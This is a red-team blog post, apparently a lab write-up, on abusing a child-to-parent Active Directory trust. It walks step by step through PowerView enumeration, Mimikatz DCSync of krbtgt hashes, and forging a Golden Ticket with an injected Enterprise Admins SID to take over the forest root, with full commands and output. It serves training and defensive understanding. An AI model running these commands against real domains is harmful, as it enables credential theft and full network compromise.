INTRODUCTION
Domain Trust relationships in Active Directory are fundamental to allowing users from one domain to access resources in other domains. However, from a Red Teaming perspective, these relationships represent an excellent vector for privilege escalation and lateral movement.
In this post, we will explore how to abuse a Child-to-Parent trust relationship within the same forest to escalate privileges from a fully compromised subdomain to the root domain.
KEY CONCEPTS
What is a Domain Trust?
It is a trust mechanism between two domains that enables cross-domain authentication. Its key properties are:
- Transitive / Non-transitive: If A trusts B, and B trusts C, in a transitive relationship, A trusts C.
- One-way / Two-way: Defines the flow of the trust relationship and access to resources.
Child-to-Parent Trust
By default, when a subdomain (e.g. child.domain.local) is created under a root domain (e.g. domain.local), a bidirectional and transitive trust relationship is automatically established.
SID Filtering
It is the security mechanism responsible for cleaning or filtering unauthorized SIDs from cross-domain authentication tickets.
- Between different forests: SID filtering is enabled by default to prevent an external forest from injecting highly privileged SIDs.
- Within the same forest: It is disabled by default. This means the parent domain will trust additional SIDs traveling in the SID History (
SID History) of a ticket generated by the subdomain.
This lack of filtering within the same forest is what allows us to perform the ExtraSIDs attack using Golden Tickets.
ABUSE METHODOLOGY
The classic attack consists of forging a Golden Ticket in the subdomain and injecting the SID of the Enterprise Admins group from the root domain into the Extra SIDs (SID History) field. When presented to the parent domain controller, it will grant us Administrator access across the entire forest.
Data required for the attack
| Data | Description |
|---|---|
krbtgt NTLM Hash | The child domain’s key used to sign the Golden Ticket. |
| Child Domain SID | Base identifier of the issuing account. |
| Child Domain FQDN | Fully Qualified Domain Name (e.g. LOGISTICS.INLANEFREIGHT.LOCAL). |
| “Enterprise Admins” SID | SID of the group with maximum privileges in the parent domain (identifiable by RID 519). |
| Username | A fictitious or existing user for whom the ticket will be created (e.g. hacker). |
EXPLOITATION PHASE
We assume the child domain is already 100% compromised and we hold elevated privileges on its Domain Controller (DC).
1. Reconnaissance and Identification
First, we validate the network context we are operating in:
whoami
$env:USERDOMAIN
whoami /fqdn

We confirm we are in the child domain LOGISTICS.INLANEFREIGHT.LOCAL.
2. Mapping Trust Relationships
We use PowerView to identify the active trusts of the domain:
. .\PowerView.ps1
Get-DomainTrust

As we can see, there is a bidirectional trust relationship towards the parent domain INLANEFREIGHT.LOCAL.
3. Verifying SID Filtering
We validate whether the SID filtering protection is active for this trust relationship:
Get-ADTrust -Filter * -Server "LOGISTICS.INLANEFREIGHT.LOCAL" | Select-Object Name, SIDFilteringQuarantined, SIDFilteringForestAware

Since SIDFilteringQuarantined is set to False, we confirm we can abuse the SID History by injecting additional SIDs.
4. ATTACK EXECUTION (STEP BY STEP)
Step 1: Obtain the Child Domain SID
Get-DomainSID

- SID obtained:
S-1-5-21-2806153819-209893948-922872689
Step 2: Obtain the “Enterprise Admins” SID from the Parent Domain
We query the SID of the group with maximum privileges in the root domain:
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | Select-Object objectsid

- SID obtained:
S-1-5-21-3842939050-3880317879-2865463114-519(note the RID519corresponding to Enterprise Admins).
Step 3: Extract the krbtgt NTLM Hash from the Subdomain
We perform a DCSync to extract the credentials of the krbtgt account from the child domain using Mimikatz:
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9d765b482771505cbe97411065964d5f
ntlm- 0: 9d765b482771505cbe97411065964d5f
lm - 0: 69df324191d4a80f0ed100c10f20561e
- NTLM Hash obtained:
9d765b482771505cbe97411065964d5f
Step 4: Forge and Inject the Golden Ticket
With all the collected data, we generate the Golden Ticket by adding the Enterprise Admins SID to the /sids parameter and inject it directly into memory (/ptt - Pass-The-Ticket).
💡 Key detail: The user specified in the
/userparameter (in this case,hacker) does not need to exist in Active Directory. Since the ticket is signed with the service’s secret key (krbtgt), the system fully trusts the authenticity of the ticket without needing to validate whether the user actually exists in the AD database.
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
User : hacker
Domain : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID : S-1-5-21-2806153819-209893948-922872689
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime : 6/6/2026 6:46:09 PM ; 6/3/2036 6:46:09 PM ; 6/3/2036 6:46:09 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully submitted for current session

We validate that the ticket is active in our current session using klist:

5. Access and Compromise of the Parent Domain
With the ticket injected into memory, the root domain will recognize us as a member of the Enterprise Admins group.
We can verify this by listing the shared directory on the parent domain’s DC:
ls \\INLANEFREIGHT.LOCAL\SYSVOL

Finally, to solidify the absolute compromise of the entire forest, we perform a DCSync against the root domain to extract the hash of its krbtgt account:
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\krbtgt /domain:INLANEFREIGHT.LOCAL
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 10/27/2021 8:14:34 AM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-502
Object Relative ID : 502
Credentials:
Hash NTLM: 16e26ba33e455a8c338142af8d89ffbc
ntlm- 0: 16e26ba33e455a8c338142af8d89ffbc
lm - 0: 4562458c201a97fa19365ce901513c21

That is how the Parent Domain is compromised through a Child-to-Parent Trust relationship.
Thanks for reading — I hope this is useful to you. If you have any questions, suggestions, corrections, or simply want to share something about this topic, feel free to reach out through my socials.
Closing thought:
Be the change you wish to see in the world.
Mahatma Gandhi
